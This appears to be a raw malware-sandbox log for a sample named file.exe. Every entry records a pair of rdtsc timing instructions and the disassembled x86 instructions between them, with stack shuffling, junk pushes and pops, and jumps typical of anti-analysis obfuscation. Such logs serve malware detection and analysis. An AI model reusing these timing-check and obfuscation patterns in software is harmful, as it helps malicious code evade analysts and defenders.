Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F79C second address: 68F7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ebx 0x00000008 jmp 00007F78C4C759B3h 0x0000000d pop ebx 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F78C4C759A8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b pushad 0x0000002c mov edi, 33DE734Bh 0x00000031 popad 0x00000032 push 00000000h 0x00000034 xor edi, dword ptr [ebp+122D20F0h] 0x0000003a xchg eax, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F78C4C759ACh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F7FB second address: 68F80E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F78C4C75718h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F80E second address: 68F814 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F814 second address: 68F819 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68F981 second address: 68FA07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov di, si 0x0000000a push dword ptr fs:[00000000h] 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F78C4C759A8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b pushad 0x0000002c js 00007F78C4C759A6h 0x00000032 mov ebx, dword ptr [ebp+122D34CFh] 0x00000038 popad 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 pushad 0x00000041 jnl 00007F78C4C759ACh 0x00000047 mov ebx, dword ptr [ebp+122D3728h] 0x0000004d popad 0x0000004e mov eax, dword ptr [ebp+122D0011h] 0x00000054 mov dword ptr [ebp+122D26C5h], eax 0x0000005a push FFFFFFFFh 0x0000005c jne 00007F78C4C759ACh 0x00000062 nop 0x00000063 push edi 0x00000064 pushad 0x00000065 push esi 0x00000066 pop esi 0x00000067 pushad 0x00000068 popad 0x00000069 popad 0x0000006a pop edi 0x0000006b push eax 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FA07 second address: 68FA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6968CF second address: 6968D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6968D5 second address: 6968DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C0B8 second address: 69C0BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C0BC second address: 69C0EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75727h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F78C4C75723h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C0EE second address: 69C115 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F78C4C759A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F78C4C759AFh 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C115 second address: 69C11A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C11A second address: 69C135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F78C4C759ACh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C357 second address: 69C35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C35B second address: 69C384 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F78C4C759B0h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007F78C4C759A8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C384 second address: 69C399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C75721h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C399 second address: 69C39D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C39D second address: 69C3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jg 00007F78C4C7571Ch 0x00000011 jc 00007F78C4C75725h 0x00000017 jmp 00007F78C4C7571Fh 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push ebx 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C53C second address: 69C557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F78C4C759B2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69C557 second address: 69C568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A0E8A second address: 6A0EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F78C4C759ADh 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A14A5 second address: 6A14BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C75721h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A175B second address: 6A1761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1761 second address: 6A1782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007F78C4C7572Ch 0x0000000b jmp 00007F78C4C75726h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A18D5 second address: 6A18DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A18DA second address: 6A1912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C7571Dh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F78C4C75729h 0x00000014 jnl 00007F78C4C75716h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1A61 second address: 6A1A65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1A65 second address: 6A1A6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1C06 second address: 6A1C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1C0B second address: 6A1C29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F78C4C75729h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1DA7 second address: 6A1DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C759B8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7DAB second address: 6A7DC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75722h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6C7A second address: 6A6C80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6C80 second address: 6A6CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c jbe 00007F78C4C7571Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F78C4C75723h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6CAF second address: 6A6CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6CB3 second address: 6A6CB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6CB7 second address: 6A6CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6CC1 second address: 6A6CC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A6F98 second address: 6A6FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007F78C4C759A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63320A second address: 633219 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Ah 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633219 second address: 63321F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63321F second address: 63322F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63322F second address: 633238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633238 second address: 633242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F78C4C75716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633242 second address: 63324C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F78C4C759A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63324C second address: 633264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75721h 0x00000007 push esi 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7BEE second address: 6A7BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7BF4 second address: 6A7BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB7A2 second address: 6AB7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnl 00007F78C4C759BDh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AB7C6 second address: 6AB7CD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D8CE second address: 67D8D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D8D3 second address: 65CFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C7571Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jc 00007F78C4C75727h 0x00000014 jmp 00007F78C4C75721h 0x00000019 jl 00007F78C4C75718h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 nop 0x00000023 xor edi, dword ptr [ebp+122D3AA3h] 0x00000029 call dword ptr [ebp+122D188Dh] 0x0000002f push eax 0x00000030 push edx 0x00000031 push ebx 0x00000032 pushad 0x00000033 popad 0x00000034 jp 00007F78C4C75716h 0x0000003a pop ebx 0x0000003b jmp 00007F78C4C7571Dh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D995 second address: 67D99B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D99B second address: 67DA48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jp 00007F78C4C75722h 0x0000000f xchg eax, ebx 0x00000010 mov cx, 3877h 0x00000014 push dword ptr fs:[00000000h] 0x0000001b movsx edi, ax 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 mov dword ptr [ebp+124882C2h], edi 0x0000002b mov dword ptr [ebp+1249164Fh], esp 0x00000031 mov dword ptr [ebp+12459A64h], edx 0x00000037 cmp dword ptr [ebp+122D3A7Fh], 00000000h 0x0000003e jne 00007F78C4C757DEh 0x00000044 call 00007F78C4C7571Ch 0x00000049 call 00007F78C4C7571Eh 0x0000004e pop edx 0x0000004f pop edi 0x00000050 mov byte ptr [ebp+122D1B1Fh], 00000047h 0x00000057 add edi, dword ptr [ebp+122D3917h] 0x0000005d mov eax, D49AA7D2h 0x00000062 push 00000000h 0x00000064 push ebp 0x00000065 call 00007F78C4C75718h 0x0000006a pop ebp 0x0000006b mov dword ptr [esp+04h], ebp 0x0000006f add dword ptr [esp+04h], 0000001Bh 0x00000077 inc ebp 0x00000078 push ebp 0x00000079 ret 0x0000007a pop ebp 0x0000007b ret 0x0000007c mov edx, dword ptr [ebp+122D3493h] 0x00000082 push eax 0x00000083 pushad 0x00000084 push eax 0x00000085 push edx 0x00000086 push edi 0x00000087 pop edi 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DD09 second address: 67DD15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DE2B second address: 4BFB7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ch, 9Eh 0x0000000c or dword ptr [ebp+1245A52Ah], ecx 0x00000012 push dword ptr [ebp+122D0E9Dh] 0x00000018 and edx, 7198B0A7h 0x0000001e call dword ptr [ebp+122D36C4h] 0x00000024 pushad 0x00000025 pushad 0x00000026 mov esi, ecx 0x00000028 cmc 0x00000029 popad 0x0000002a cld 0x0000002b xor eax, eax 0x0000002d jnl 00007F78C4C7571Ch 0x00000033 sub dword ptr [ebp+122D18F1h], ecx 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d mov dword ptr [ebp+122D1830h], ebx 0x00000043 mov dword ptr [ebp+122D3A77h], eax 0x00000049 pushad 0x0000004a mov esi, ecx 0x0000004c mov esi, dword ptr [ebp+122D399Fh] 0x00000052 popad 0x00000053 mov esi, 0000003Ch 0x00000058 xor dword ptr [ebp+122D35A7h], ecx 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 clc 0x00000063 lodsw 0x00000065 pushad 0x00000066 sub dword ptr [ebp+122D18F1h], esi 0x0000006c mov edi, 7F03482Dh 0x00000071 popad 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 xor dword ptr [ebp+122D35A7h], eax 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 je 00007F78C4C7571Ch 0x00000086 or dword ptr [ebp+122D1815h], edx 0x0000008c push eax 0x0000008d push ebx 0x0000008e push eax 0x0000008f push edx 0x00000090 push ebx 0x00000091 pop ebx 0x00000092 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DE7A second address: 67DEEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 xor dword ptr [esp], 68C52E81h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F78C4C759A8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 jnp 00007F78C4C759ACh 0x0000002e call 00007F78C4C759B8h 0x00000033 mov di, si 0x00000036 pop ecx 0x00000037 call 00007F78C4C759A9h 0x0000003c jp 00007F78C4C759AEh 0x00000042 jp 00007F78C4C759A8h 0x00000048 push ebx 0x00000049 pop ebx 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DEEB second address: 67DF04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75725h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DF04 second address: 67DF16 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DF16 second address: 67DF20 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F78C4C75716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DF20 second address: 67DF3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DF3D second address: 67DF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DF44 second address: 67DF4E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F78C4C759ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E016 second address: 67E032 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F78C4C7571Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E179 second address: 67E198 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F78C4C759ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F78C4C759ACh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E198 second address: 67E1B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C75728h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E1B4 second address: 67E1C6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E1C6 second address: 67E1D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EC4B second address: 67EC55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F78C4C759A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABA91 second address: 6ABA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F78C4C75716h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABA9D second address: 6ABAA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABAA6 second address: 6ABAAC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67EC47 second address: 67EC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABC39 second address: 6ABC51 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F78C4C7571Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jnl 00007F78C4C75716h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABC51 second address: 6ABC5B instructions: 0x00000000 rdtsc 0x00000002 je 00007F78C4C759A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABDB0 second address: 6ABDC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F78C4C75716h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABDC2 second address: 6ABDC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABF03 second address: 6ABF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABF09 second address: 6ABF0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ABF0D second address: 6ABF1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F78C4C75716h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
